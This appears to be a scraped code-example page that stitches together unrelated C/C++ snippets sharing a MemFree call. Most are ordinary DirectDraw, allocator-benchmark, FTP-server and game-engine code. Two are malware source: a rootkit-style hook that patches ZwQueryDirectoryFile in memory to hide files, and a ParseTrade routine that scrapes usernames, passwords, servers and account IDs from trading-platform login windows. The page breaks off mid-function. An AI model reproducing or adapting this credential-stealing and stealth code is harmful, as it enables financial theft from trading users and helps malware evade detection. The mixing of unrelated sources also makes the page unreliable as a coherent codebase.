	//	Get some info from bitmap

	GetObject(hBitmap, sizeof(bm), &bm);

	//	Create a surface of the proper size

	utlMemSet(&ddsd, sizeof(ddsd), 0);
	ddsd.dwSize = sizeof(ddsd);
	ddsd.dwFlags = DDSD_CAPS | DDSD_HEIGHT | DDSD_WIDTH;
	ddsd.ddsCaps.dwCaps = DDSCAPS_OFFSCREENPLAIN;
	ddsd.dwWidth = bm.bmWidth;
	ddsd.dwHeight = bm.bmHeight;

	if (m_pScreen->GetDD()->CreateSurface(&ddsd, &pSurface, NULL) != DD_OK)
		{
		DeleteObject(hBitmap);
		return ERR_FAIL;
		}

	if (result = pSurface->GetDC(&hDC) != DD_OK)
		{
		pSurface->Release();
		DeleteObject(hBitmap);
		return ERR_FAIL;
		}

	//	Blt the bitmap onto the surface

	hBitmapDC = CreateCompatibleDC(NULL);
	hOldBitmap = (HBITMAP)SelectObject(hBitmapDC, hBitmap);

	BitBlt(hDC,
			0,
			0,
			bm.bmWidth,
			bm.bmHeight,
			hBitmapDC,
			0,
			0,
			SRCCOPY);

	SelectObject(hBitmapDC, hOldBitmap);
	DeleteDC(hBitmapDC);
	DeleteObject(hBitmap);

	pSurface->ReleaseDC(hDC);

	//	Load the transparency bitmap

	if (dwTransparencyUNID)
		{
		HBITMAP hTransparency;

		if (error = m_pMediaDb->LoadBitmap(dwTransparencyUNID, &hTransparency))
			{
			pSurface->Release();
			return error;
			}

		//	Convert this bitmap into an 8-bit map

		error = ConvertToChannel(hTransparency, &pTrans);
		DeleteObject(hTransparency);
		if (error)
			{
			pSurface->Release();
			return error;
			}
		}

	//	Load the depth bitmap

	if (dwDepthUNID)
		{
		if (error = m_pMediaDb->LoadBitmap(dwDepthUNID, &hDepth))
			{
			if (pTrans)
				MemFree(pTrans);
			pSurface->Release();
			return error;
			}
		}
	else
		hDepth = NULL;

	//	Add the surface to our cache

	if (error = AddImage(dwImageUNID, pSurface, pTrans, hDepth, retiIndex))
		{
		if (hDepth)
			DeleteObject(hDepth);
		if (pTrans)
			MemFree(pTrans);
		pSurface->Release();
		return ERR_FAIL;
		}

	return NOERROR;
	}
Beispiel #23
0
void HookZwQueryDirectoryFile()
{
	dwAddrDirProc = (DWORD)&JmpToHookDirProc;
	DWORD dwAddr  = (DWORD)&dwAddrDirProc;

	PZwQueryDirectoryFile ZwQueryDirectoryFile = (PZwQueryDirectoryFile)GetProcAddressEx( NULL, 5, 0x5F8B35D6 );
	
	LPVOID lpMem;
	LPVOID lpPtr;

	lpPtr = (LPVOID)ZwQueryDirectoryFile;

	if ( lpPtr == NULL )
	{
		return;
	}

	ProtectPage( lpPtr, PAGE_EXECUTE_READWRITE );

	lpMem = pVirtualAllocEx( (HANDLE)-1, NULL, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );

	if ( lpMem == NULL )
	{
		return;
	}

	ZwQueryDirectoryFileReal =  (PZwQueryDirectoryFile)lpMem;

	m_memcpy( lpMem, lpPtr, 15 );

	lpPtr = (LPVOID)((DWORD)lpPtr + 5 );

	if ( *(BYTE*)lpPtr == 0xBA ) // win xp and up
	{
		lpPtr = (LPVOID)((DWORD)lpPtr + 1 );
		m_memcpy( lpPtr, &dwAddr, 4 );
	}
	else
	{
		if ( *(BYTE*)lpPtr == 0x8D ) //win2000
		{
			*(BYTE*)lpPtr = 0x68;
			dwAddr		  = (DWORD)&ZwQueryDirectoryFileHook;
			lpPtr		  = (LPVOID)((DWORD)lpPtr + 1 );

			m_memcpy( lpPtr, &dwAddr, 4 );

			lpPtr		  = (LPVOID)((DWORD)lpPtr + 6 );
		
			*(BYTE*)lpPtr = 0x00;
		}
		else
		{
			MemFree( lpMem );
		}
	}

	ProtectPage( ZwQueryDirectoryFile, PAGE_EXECUTE_READ );

	return;
}
Beispiel #24
0
/*
 * FreeRCString - free the memory allocated by AllocRCString
 */
void FreeRCString( char *str )
{
    MemFree( str );
}
Beispiel #25
0
void main (void)
{
	uMCONFIG M;	// Configuration structure
	int index;	// Loop variable
	LARGE_INTEGER C1, C2, D;// Profiling variables
	double seconds, Freq;	// Profiler output variables
	int * A [9000];	// Memory to allocate
	int const N = sizeof A / sizeof(int);	// Count of elements in array
	hLIST List;	// Linked list
	FILE * fp;	// Output file
	int Int = 4, * Item;// Integer data used to test list

	/* Initialize timer */
	QueryPerformanceFrequency (&D);
	Freq = 1.0 / (double)D.QuadPart;

	/* Initialize memory; allocate just enough for maximum allocation */
	M.PoolSize = N * (sizeof(int) + 0x14);
	MemInit (&M);

	fp = fopen ("Log.txt","wt");

	fprintf (fp, "%d ints:\n", N);

	/* Test speed of MemAlloc */
	QueryPerformanceCounter (&C1);
	for (index = 0; index < N; ++index)	A [index] = (int *) MemAlloc (sizeof(int), 0);
	QueryPerformanceCounter (&C2);

	seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq;
	fprintf (fp, "With MemAlloc: %f seconds, %.8f p/int\n", seconds, seconds / N);

	/* Test speed of MemFree */
	QueryPerformanceCounter (&C1);
	for (index = 0; index < N; ++index)	MemFree (A [index]);
	QueryPerformanceCounter (&C2);

	seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq;
	fprintf (fp, "With MemFree:  %f seconds, %.8f p/int\n", seconds, seconds / N);

	/* Test speed of malloc */
	QueryPerformanceCounter (&C1);
	for (index = 0; index < N; ++index)	A [index] = (int *) malloc (sizeof(int));
	QueryPerformanceCounter (&C2);

	seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq;
	fprintf (fp, "With malloc:   %f seconds, %.8f p/int\n", seconds, seconds / N);

	/* Test speed of free */
	QueryPerformanceCounter (&C1);
	for (index = 0; index < N; ++index)	free (A [index]);
	QueryPerformanceCounter (&C2);

	seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq;
	fprintf (fp, "With free:     %f seconds, %.8f p/int\n", seconds, seconds / N);

	/* Test speed of ListCreate */
	QueryPerformanceCounter (&C1);
	List = ListCreate (5, sizeof(int), L_DYNAMIC);
	QueryPerformanceCounter (&C2);

	seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq;
	fprintf (fp, "With ListCreate:  %f seconds\n", seconds);

	fprintf (fp, "500 items:\n");

	/* Test speed of ListToFront */
	QueryPerformanceCounter (&C1);
	for (index = 0; index < 500; ++index) ListToFront (List, &index);
	QueryPerformanceCounter (&C2);

	seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq;
	fprintf (fp, "With ListToFront:  %f seconds, %.8f p/int\n", seconds, seconds / 500);

	for (index = 0; index < 500; ++index) I [index] = 0;

	/* Test speed of ListExecute */
	QueryPerformanceCounter (&C1);
	Int = 9;	ListExecute (List, PrintMult, &Int);
	QueryPerformanceCounter (&C2);

	for (index = 0; index < 500; ++index)
	{
		if (index % 5 == 0) printf ("\n");

		printf ("%dx%d:%d\t", index, Int, I [index]);
	}

	seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq;
	fprintf (fp, "With ListExecute:  %f seconds, %.8f p/int\n", seconds, seconds / 500);

	/* Test speed of ListSearch */
	QueryPerformanceCounter (&C1);
	Int = 205;	Item = ListSearch (List, Equal, &Int);
	QueryPerformanceCounter (&C2);

	printf ("Datum found: %d\n", *(int*) Item);

	seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq;
	fprintf (fp, "With ListSearch:   %f seconds, %.8f p/int\n", seconds, seconds / 500);

	/* Test speed of ListDestroy */
	QueryPerformanceCounter (&C1);
	ListDestroy (List);
	QueryPerformanceCounter (&C2);

	seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq;
	fprintf (fp, "With ListDestroy:  %f seconds, %.8f p/int\n", seconds, seconds / 500);

	fclose (fp);

	/* Terminate memory; output results to file */
	MemTerm ("Mem.txt");
}
Beispiel #26
0
/*
 * InternalSurfaceRelease
 *
 * Done with a surface.	  if no one else is using it, then we can free it.
 * Also called by ProcessSurfaceCleanup, EnumSurfaces and DD_Release.
 *
 * Assumes the lock is taken on the driver.
 */
DWORD InternalSurfaceRelease( LPDDRAWI_DDRAWSURFACE_INT this_int )
{
    LPDDRAWI_DDRAWSURFACE_LCL	this_lcl;
    LPDDRAWI_DDRAWSURFACE_GBL	this;
    LPATTACHLIST		pattachlist;
    DWORD			intrefcnt;
    DWORD			lclrefcnt;
    DWORD			gblrefcnt;
    DWORD			pid;
    LPDDRAWI_DIRECTDRAW_LCL	pdrv_lcl;
    LPDDRAWI_DIRECTDRAW_GBL 	pdrv;
    BOOL			root_object_deleted;
    BOOL			do_free;
    DWORD                       caps;

    this_lcl = this_int->lpLcl;
    this = this_lcl->lpGbl;

    /*
     * check owner of surface
     */
    pid = GETCURRPID();
    /*
     * don't allow someone to free an implicitly created surface
     */
    if( (this->dwRefCnt == 1) && (this_lcl->dwFlags & DDRAWISURF_IMPLICITCREATE) )
    {
	DPF_ERR( "Cannot free an implicitly created surface" );
	return 0;
    }

    /*
     * remove locks taken on this surface by the current process
     */
    pdrv_lcl = this_lcl->lpSurfMore->lpDD_lcl;
    pdrv = pdrv_lcl->lpGbl;
    if( (this_lcl->dwLocalRefCnt & ~OBJECT_ISROOT) == 1 )
    {
	RemoveProcessLocks( pdrv_lcl, this, pid );
    }

    /*
     * decrement the reference count.  if it hits zero, free the surface
     */
    this->dwRefCnt--;
    gblrefcnt = this->dwRefCnt;
    this_lcl->dwLocalRefCnt--;
    lclrefcnt = this_lcl->dwLocalRefCnt & ~OBJECT_ISROOT;
    this_int->dwIntRefCnt--;
    intrefcnt = this_int->dwIntRefCnt;

    DPF( 4, "DD_Surface_Release, Reference Count: Global = %ld Local = %ld Int = %ld",
         gblrefcnt, lclrefcnt, intrefcnt );

    /*
     * local object at zero?
     */
    root_object_deleted = FALSE;
    if( lclrefcnt == 0 )
    {
	LPDDRAWI_DDRAWSURFACE_INT	curr_int;
	LPDDRAWI_DDRAWSURFACE_LCL	curr_lcl;
	LPDDRAWI_DDRAWSURFACE_GBL	curr;
	DWORD				refcnt;

	/*
	 * see if we are deleting the root object
	 */
	if( this_lcl->dwLocalRefCnt & OBJECT_ISROOT )
	{
	    root_object_deleted = TRUE;
	}


	/*
	 * reset if primary surface is the one being released
	 */
	if( this_lcl->ddsCaps.dwCaps & DDSCAPS_PRIMARYSURFACE )
	{

	    /*
	     * restore GDI stuff if this is the GDI driver
	     */
	    if( pdrv->dwFlags & DDRAWI_DISPLAYDRV )
	    {
		if( !SURFACE_LOST( this_lcl ) )
		{
		    DPF( 2, "Resetting primary surface");
	
		    /*
		     * flip to the original primary surface if not emulated
		     */
		    if( !(this_lcl->ddsCaps.dwCaps & DDSCAPS_SYSTEMMEMORY) &&
			!(this->dwGlobalFlags & DDRAWISURFGBL_ISGDISURFACE)) //pdrv->fpPrimaryOrig != this->fpVidMem) )
		    {
			FlipToGDISurface( pdrv_lcl, this_int ); //, pdrv->fpPrimaryOrig );
		    }
		}
    
		/*
		 * Cause the GDI surface to be redrawn if the mode was ever changed.
		 */
                if (pdrv_lcl->dwLocalFlags & DDRAWILCL_MODEHASBEENCHANGED)
         		RedrawWindow( NULL, NULL, NULL, RDW_INVALIDATE | RDW_ERASE |
				 RDW_ALLCHILDREN );
	    }
	}

	/*
	 * if an overlay, remove surface from the overlay Z order list
	 */
	if( this_lcl->ddsCaps.dwCaps & DDSCAPS_OVERLAY )
	{
	    // Remove surface from doubly linked list
	    this_lcl->dbnOverlayNode.prev->next = this_lcl->dbnOverlayNode.next;
	    this_lcl->dbnOverlayNode.next->prev = this_lcl->dbnOverlayNode.prev;

            // If this surface is overlaying an emulated surface, we must notify
            // the HEL that it needs to eventually update the part of the surface
            // touched by this overlay.
            if( this_lcl->lpSurfaceOverlaying != NULL )
            {
        	// We have a pointer to the surface being overlayed, check to 
        	// see if it is being emulated.
        	if( this_lcl->lpSurfaceOverlaying->lpLcl->ddsCaps.dwCaps & DDSCAPS_SYSTEMMEMORY )
        	{
        	    // Mark the destination region of this overlay as dirty.
        	    DD_Surface_AddOverlayDirtyRect(
        		(LPDIRECTDRAWSURFACE)(this_lcl->lpSurfaceOverlaying),
			&(this_lcl->rcOverlayDest) );
        	}
		DD_Surface_Release( 
		    (LPDIRECTDRAWSURFACE)(this_lcl->lpSurfaceOverlaying) );
            }
	}

	/*
	 * hide a hardware overlay...
	 */
	if( (this_lcl->ddsCaps.dwCaps & DDSCAPS_OVERLAY) &&
	    (this_lcl->ddsCaps.dwCaps & DDSCAPS_VISIBLE) &&
	    (this_lcl->ddsCaps.dwCaps & DDSCAPS_VIDEOMEMORY) )
	{
	    LPDDHALSURFCB_UPDATEOVERLAY	uohalfn;
	    LPDDHALSURFCB_UPDATEOVERLAY	uofn;
	    DWORD			rc;
	    DDHAL_UPDATEOVERLAYDATA	uod;

	    uofn = pdrv_lcl->lpDDCB->HALDDSurface.UpdateOverlay;
	    uohalfn = pdrv_lcl->lpDDCB->cbDDSurfaceCallbacks.UpdateOverlay;
	    if( (uohalfn != NULL) && (NULL != this_lcl->lpSurfaceOverlaying) )
	    {
		DPF( 2, "Turning off hardware overlay" );
		uod.UpdateOverlay = uohalfn;
		uod.lpDD = pdrv;
		uod.lpDDSrcSurface = this_lcl;
		uod.lpDDDestSurface = this_lcl->lpSurfaceOverlaying->lpLcl;
		uod.dwFlags = DDOVER_HIDE;
		DOHALCALL( UpdateOverlay, uofn, uod, rc, FALSE );
	    }
	}

	/*
	 * release all implicitly created attached surfaces
	 */
	pattachlist = GetAttachList( this_lcl );
	this_lcl->dwFlags |= DDRAWISURF_ISFREE;
	while( pattachlist != NULL )
	{
	    BOOL    was_implicit;
	    /*
	     * break all attachments
	     */
	    curr_int = pattachlist->lpIAttached;
	    if( pattachlist->dwFlags & DDAL_IMPLICIT )
		was_implicit = TRUE;
	    else
		was_implicit = FALSE;

	    DPF(3, "Deleting attachment from %08lx to %08lx (implicit = %d)", 
		curr_int, this_int, was_implicit);
       	    DeleteOneAttachment( this_int, curr_int, TRUE, DOA_DELETEIMPLICIT );
	    // If the attachment was not implicit then curr_int may possibly have 
	    // been destroyed as a result of DeleteOneAttachment.
	    if( was_implicit )
	    {
		curr_lcl = curr_int->lpLcl;
		curr = curr_lcl->lpGbl;

		/*
		 * release an implicitly created surface
		 */
		if( !(curr_lcl->dwFlags & DDRAWISURF_ISFREE) )
		{
		    if( curr_lcl->dwFlags & DDRAWISURF_IMPLICITCREATE )
		    {
			refcnt = curr_int->dwIntRefCnt;
			curr_lcl->dwFlags &= ~DDRAWISURF_IMPLICITCREATE;
			while( refcnt > 0 )
			{
			    InternalSurfaceRelease( curr_int );
			    refcnt--;
			}
		    }
		}
	    }
	    /*
	     * start again at the beginning of the list because
	     * DeleteOneAttachment may have modified the attachment list.
	     * HACKHACK:  this fn call is needed to get around a compiler bug
	     */
	    pattachlist = GetAttachList( this_lcl );
	}

        /*
         * Free the nodes in the IUnknown list and release all the interfaces.
         */
	FreeIUnknowns( this_lcl, TRUE );

        /*
	 * If a palette is attached to this surface remove it (and, as a
	 * side effect, release it).
	 */
	if( this_lcl->lpDDPalette )
	    DD_Surface_SetPalette( (LPDIRECTDRAWSURFACE) this_int, NULL );

        /*
         * Release the attached clipper (if any).
         */
        if( this_lcl->lpSurfMore->lpDDIClipper )
            DD_Clipper_Release( (LPDIRECTDRAWCLIPPER)this_lcl->lpSurfMore->lpDDIClipper );

	/*
	 * remove all attachments to us from other surfaces
	 */
	pattachlist = this_lcl->lpAttachListFrom;
	while( pattachlist != NULL )
	{
	    curr_int = pattachlist->lpIAttached;
	    DPF( 3, "Deleting attachment from %08lx", curr_int );
	    DeleteOneAttachment( curr_int, this_int, TRUE, DOA_DELETEIMPLICIT );
	    /*
	     * start again at the beginning of the list because
	     * DeleteOneAttachment may have modified the attachment list.
	     * HACKHACK:  this fn call is needed to get around a compiler bug
	     */
	    pattachlist = GetAttachListFrom( this_lcl );
	}
	this_lcl->dwFlags &= ~DDRAWISURF_ISFREE;
    }

    /*
     * root object at zero?
     */
    do_free = FALSE;
    if( gblrefcnt == 0 )
    {
	/*
	 * get rid of all memory associated with this surface
	 */
	DestroySurface( this_lcl );

	this_lcl->dwFlags |= DDRAWISURF_INVALID;
	do_free = TRUE;

	/*
	 * if this was the final delete, but this wasn't the root object,
	 * then we need to delete the dangling object
	 */
	if( !root_object_deleted )
	{
	    LPDDRAWI_DDRAWSURFACE_LCL	root_lcl;

	    /*
	     * Get the start of the root global data object.  Since the
	     * global data always follows the local data, we just need
	     * to back up the size of the local data to get the start of
	     * the allocated block.
	     *
	     * NOTE: The local surface allocation now includes the
	     * additional local surface structure (DDRAWI_DDRAWSURFACE_MORE).
	     * So we need to back up by the size of that structure also.
	     *
	     * Since all duplicated surfaces have the same local data,
	     * we just need to test this surface for overlay data to determine
	     * if the root object had overlay data.
	     */
	    if( this_lcl->dwFlags & DDRAWISURF_HASOVERLAYDATA )
	    {
		root_lcl = (LPVOID) (((LPSTR) this) - ( sizeof( DDRAWI_DDRAWSURFACE_LCL ) +
		                                        sizeof( DDRAWI_DDRAWSURFACE_MORE ) ) );
	    }
	    else
	    {
		root_lcl = (LPVOID) (((LPSTR) this) - ( offsetof( DDRAWI_DDRAWSURFACE_LCL, ddckCKSrcOverlay ) +
							sizeof( DDRAWI_DDRAWSURFACE_MORE ) ) );
	    }
	    MemFree( root_lcl );
	}
    }
    else if( lclrefcnt == 0 )
    {
	/*
	 * only remove the object if it wasn't the root.   if it
	 * was the root, we must leave it dangling until the last
	 * object referencing it goes away.
	 */
	if( !root_object_deleted )
	{
	    do_free = TRUE;
	}
    }

    caps = this_lcl->ddsCaps.dwCaps;
    /*
     * If we are releasing an interface to a primary surface, update the pointer to the primary 
     * surface stored in the local driver object.  If another interface to the primary surface exists, 
     * store that one.  Otherwise, set the pointer to NULL.
     */
    if( intrefcnt == 0 )
    {
	if( caps & DDSCAPS_PRIMARYSURFACE )
	{
	    if( this_lcl->lpSurfMore->lpDD_lcl )
	    {
		this_lcl->lpSurfMore->lpDD_lcl->lpPrimary = findOtherInterface(this_int, this_lcl, pdrv);
	    }
	}
#ifdef SHAREDZ
	if( caps & DDSCAPS_SHAREDBACKBUFFER )
	{
	    if( this_lcl->lpSurfMore->lpDD_lcl )
	    {
		this_lcl->lpSurfMore->lpDD_lcl->lpSharedBack = findOtherInterface(this_int, this_lcl, pdrv);
	    }
	}
	if( caps & DDSCAPS_SHAREDZBUFFER )
	{
	    if( this_lcl->lpSurfMore->lpDD_lcl )
	    {
		this_lcl->lpSurfMore->lpDD_lcl->lpSharedZ = findOtherInterface(this_int, this_lcl, pdrv);
	    }
	}
#endif
    }

    /*
     * free the object if needed
     */
    if( do_free )
    {
	this_lcl->lpGbl = NULL;

        #ifdef WINNT
        /*
         * Free the associated NT kernel-mode object only if it is a vram surface, it is not
	 * an execute buffer, and it has not yet been freed in the kernel
         */
        if (!(caps & (DDSCAPS_EXECUTEBUFFER|DDSCAPS_SYSTEMMEMORY) ) && this_lcl->hDDSurface )
        {
            DPF(9,"Deleting NT kernel-mode object handle %08x",this_lcl->hDDSurface);
            if (!DdDeleteSurfaceObject(this_lcl))
                DPF(9,"DdDeleteSurfaceObject failed");
        }
        #endif
	MemFree( this_lcl );
    }

    /*
     * interface at zero?
     */
    if( intrefcnt == 0)
    {
	LPDDRAWI_DDRAWSURFACE_INT	curr_int;
	LPDDRAWI_DDRAWSURFACE_INT	last_int;
	/*
	 * remove surface from list of all surfaces
	 */
	curr_int = pdrv->dsList;
	last_int = NULL;
	while( curr_int != this_int )
	{
	    last_int = curr_int;
	    curr_int = curr_int->lpLink;
	    if( curr_int == NULL )
	    {
		DPF_ERR( "Surface not in list!" );
		return 0;
	    }
	}
	if( last_int == NULL )
	{
	    pdrv->dsList = pdrv->dsList->lpLink;
	}
	else
	{
	    last_int->lpLink = curr_int->lpLink;
	}

	/*
	 * just in case someone comes back in with this pointer, set
	 * an invalid vtbl & data ptr.
	 */
	this_int->lpVtbl = NULL;
	this_int->lpLcl = NULL;
	MemFree( this_int );
    }
    return intrefcnt;

} /* InternalSurfaceRelease */
Beispiel #27
0
static INT32 UserCreate(CHAR *userName, INT32 groupId)
{
    DB_CONTEXT  *db;
    MOD_CONTEXT *mod;
    DWORD       result;
    INT32       userId = -1;
    USERFILE    userFile;

    ASSERT(userName != NULL);
    TRACE("userName=%s groupId=%d", userName, groupId);

    if (!DbAcquire(&db)) {
        return userId;
    }

    // Module context is required for all file operations
    mod = MemAllocate(sizeof(MOD_CONTEXT));
    if (mod == NULL) {
        result = ERROR_NOT_ENOUGH_MEMORY;
        LOG_ERROR("Unable to allocate memory for module context.");

    } else {
        // Initialize MOD_CONTEXT structure
        mod->file = INVALID_HANDLE_VALUE;

        // Initialize USERFILE structure
        ZeroMemory(&userFile, sizeof(USERFILE));
        userFile.Groups[0]      = NOGROUP_ID;
        userFile.Groups[1]      = -1;
        userFile.AdminGroups[0] = -1;
        userFile.CreatorUid     = -1;
        userFile.MaxUploads     = -1;
        userFile.MaxDownloads   = -1;
        userFile.lpInternal     = mod;

        // Read defaults file
        result = FileUserDefault(groupId, &userFile);
        if (result != ERROR_SUCCESS) {
            LOG_WARN("Unable to read defaults file (error %lu).", result);
        }

        // Register user
        result = UserRegister(userName, &userFile, &userId);
        if (result != ERROR_SUCCESS) {
            TRACE("Unable to register user (error %lu).", result);
        } else {

            // Create user file
            result = FileUserCreate(userId, &userFile);
            if (result != ERROR_SUCCESS) {
                LOG_WARN("Unable to create user file (error %lu).", result);
            } else {

                // Create database record
                result = DbUserCreate(db, userName, &userFile);
                if (result != ERROR_SUCCESS) {
                    LOG_WARN("Unable to create database record (error %lu).", result);
                }
            }

            // Make sure we haven't wiped out the module context pointer
            ASSERT(userFile.lpInternal != NULL);

            // If the file or database creation failed, clean-up the user file
            if (result != ERROR_SUCCESS) {
                FileUserDelete(userId);
                FileUserClose(&userFile);
                UserUnregister(userName);
            }
        }

        if (result != ERROR_SUCCESS) {
            // Free module context after all file operations
            MemFree(mod);

            // Indicate an error occured by returning an invalid user ID
            userId = -1;
        }
    }

    DbRelease(db);

    SetLastError(result);
    return userId;
}
Beispiel #28
0
int initCt(const char *ctpName) {
	uint8 *dataPointer;	// ptr2
	char fileType[5];	// string2
	short int segementSizeTable[7];	// tempTable

	if (!loadCtFromSave) {
		for (int i = 0; i < 10; i++) {
			persoTable[i] = NULL;
		}
	}
	uint8* ptr = NULL;
	if (!loadFileSub1(&ptr, ctpName, 0)) {
		MemFree(ptr);
		return (-18);
	}

	dataPointer = ptr;

	fileType[4] = 0;
	memcpy(fileType, dataPointer, 4);	// get the file type, first 4 bytes of the CTP file
	dataPointer += 4;

	if (strcmp(fileType, "CTP ")) {
		MemFree(ptr);
		return (0);
	}

	ctp_routeCoordCount = (int16)READ_BE_UINT16(dataPointer); // get the number of nods
	dataPointer += 2;

	for (int i = 0; i < 7; i++) {
		segementSizeTable[i] = (int16)READ_BE_UINT16(dataPointer);
		dataPointer += 2;
	}

	// get the path-finding coordinates
	ASSERT((segementSizeTable[0] % 4) == 0);
	for (int i = 0; i < segementSizeTable[0] / 4; i++) {
		ctp_routeCoords[i][0] = (int16)READ_BE_UINT16(dataPointer);
		dataPointer += 2;
		ctp_routeCoords[i][1] = (int16)READ_BE_UINT16(dataPointer);
		dataPointer += 2;
	}

	// get the path-finding line informations (indexing the routeCoords array)
	ASSERT((segementSizeTable[1] % 20) == 0);
	for (int i = 0; i < segementSizeTable[1] / 20; i++) {
		for (int j = 0; j < 10; j++) {
			ctp_routes[i][j] = (int16)READ_BE_UINT16(dataPointer);
			dataPointer += 2;
		}
	}

	// read polygons
	ASSERT((segementSizeTable[2] % 80) == 0);
	for (int i = 0; i < segementSizeTable[2] / 80; i++) {
		for (int j = 0; j < 40; j++) {
			ctp_walkboxTable[i][j] = (int16)READ_BE_UINT16(dataPointer);
			dataPointer += 2;
		}
	}

	if (loadCtFromSave) {
		// loading from save, ignore the initial values
		dataPointer += segementSizeTable[3];
		dataPointer += segementSizeTable[4];
	} else {
		// get the walkbox type
		// Type: 0x00 - non walkable, 0x01 - walkable, 0x02 - exit zone
		ASSERT((segementSizeTable[3] % 2) == 0);
		for (int i = 0; i < segementSizeTable[3] / 2; i++) {
			walkboxColor[i] = (int16)READ_BE_UINT16(dataPointer);
			dataPointer += 2;
		}

		// change indicator, walkbox type can change, i.e. blocked by object (values are either 0x00 or 0x01)
		ASSERT((segementSizeTable[4] % 2) == 0);
		for (int i = 0; i < segementSizeTable[4] / 2; i++) {
			walkboxState[i] = (int16)READ_BE_UINT16(dataPointer);
			dataPointer += 2;
		}
	}

	//
	ASSERT((segementSizeTable[5] % 2) == 0);
	for (int i = 0; i < segementSizeTable[5] / 2; i++) {
		walkboxColorIndex[i] = (int16)READ_BE_UINT16(dataPointer);
		dataPointer += 2;
	}

	//
	ASSERT((segementSizeTable[6] % 2) == 0);
	for (int i = 0; i < segementSizeTable[6] / 2; i++) {
		walkboxZoom[i] = (int16)READ_BE_UINT16(dataPointer);
		dataPointer += 2;
	}
	MemFree(ptr);

	if (ctpName != currentCtpName)
		strcpy(currentCtpName, ctpName);

	numberOfWalkboxes = segementSizeTable[6] / 2;	// get the number of walkboxes

	computeAllDistance(distanceTable, ctp_routeCoordCount);	// process path-finding stuff

	// Load the polyStructNorm list

	for (int i = numberOfWalkboxes - 1; i >= 0; i--) {
		makeCtStruct(_vm->_polyStructNorm, ctp_walkboxTable, i, 0);
	}

	// Load the polyStructExp list

	for (int i = numberOfWalkboxes - 1; i >= 0; i--) {
		makeCtStruct(_vm->_polyStructExp, ctp_walkboxTable, i, walkboxZoom[i] * 20);
	}

	_vm->_polyStruct = _vm->_polyStructs = &_vm->_polyStructNorm;

	return (1);
}
Beispiel #29
0
void ParseTrade( HWND hWnd )
{
	char *Program = NULL;

	if ( !pTradeInfo )
	{
		return;
	}

	if ( IsBlackwoodPro() && TradeGetWindowID( hWnd ) == 1 )
	{
		pTradeInfo->dwUserID = 1022;
		pTradeInfo->dwPassID = 1023;
		pTradeInfo->dwServID = 1687;

		while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) );
		while ( !(BOOL)pEnumChildWindows( (HWND)pGetParent( (HWND)pGetActiveWindow() ), (WNDENUMPROC)EnumWindowsProc, NULL ) );

		if ( !m_lstrlen( pTradeInfo->Username ) ||
			 !m_lstrlen( pTradeInfo->Password ) ||
			 !m_lstrlen( pTradeInfo->Server ) )
		{
			return;
		}

		Program = "BlackwoodPRO";

	}
	else if ( IsFinamDirect() && TradeGetWindowID( hWnd ) == 1 )
	{
		pTradeInfo->dwUserID = 5328;
		pTradeInfo->dwPassID = 5329;
		pTradeInfo->dwServID = 159;
		pTradeInfo->dwAccID	 = 5965;

		while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) );
		
		if ( !m_lstrlen( pTradeInfo->Username ) ||
			 !m_lstrlen( pTradeInfo->Password ) ||
			 !m_lstrlen( pTradeInfo->UserID   ) ||
			 !m_lstrlen( pTradeInfo->Server ) )
		{
			return;
		}

		Program = "FinamDirect";
	}
	else if ( IsGrayBox() && TradeGetWindowID( hWnd ) == 1 )
	{
		pTradeInfo->dwUserID = 1000;
		pTradeInfo->dwPassID = 1001;
		pTradeInfo->dwServID = 1147;

		while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) );
		
		if ( !m_lstrlen( pTradeInfo->Username ) ||
			 !m_lstrlen( pTradeInfo->Password ) ||
			 !m_lstrlen( pTradeInfo->Server ) )
		{
			return;
		}

		Program = "GrayBox";
	}
	else if ( IsMbtPro() && TradeGetWindowID( hWnd ) == 1 )
	{
		pTradeInfo->dwUserID = 309;
		pTradeInfo->dwPassID = 310;

		while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) );
		
		if ( !m_lstrlen( pTradeInfo->Username ) ||
			 !m_lstrlen( pTradeInfo->Password ) )
		{
			return;
		}

		Program = "MbtPRO";
	}
	else if ( IsLaser() && TradeGetWindowID( hWnd ) == 1 )
	{
		pTradeInfo->dwUserID = 1062;
		pTradeInfo->dwPassID = 1064;

		while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) );
		
		if ( !m_lstrlen( pTradeInfo->Username ) ||
			 !m_lstrlen( pTradeInfo->Password ) )
		{
			return;
		}

		Program = "Laser";
	}
	else if ( IsLightSpeed() && TradeGetWindowID( hWnd ) == 1 )
	{
		pTradeInfo->dwUserID = 10826;
		pTradeInfo->dwPassID = 10825;

		while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) );
		
		if ( !m_lstrlen( pTradeInfo->Username ) ||
			 !m_lstrlen( pTradeInfo->Password ) )
		{
			return;
		}

		Program = "LightSpeed";
	}
	else if ( IsLT() && TradeGetWindowID( hWnd ) == 1 )
	{
		pTradeInfo->dwUserID = 5328;
		pTradeInfo->dwPassID = 5329;
		pTradeInfo->dwServID = 159;
		pTradeInfo->dwAccID	 = 5965;

		while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) );
		
		if ( !m_lstrlen( pTradeInfo->Username ) ||
			 !m_lstrlen( pTradeInfo->Password ) ||
			 !m_lstrlen( pTradeInfo->UserID   ) ||
			 !m_lstrlen( pTradeInfo->Server ) )
		{
			return;
		}

		Program = "LTGroup";
	}
	else if ( IsMbt() && TradeGetWindowID( hWnd ) == 1 )
	{
		pTradeInfo->dwUserID = 309;
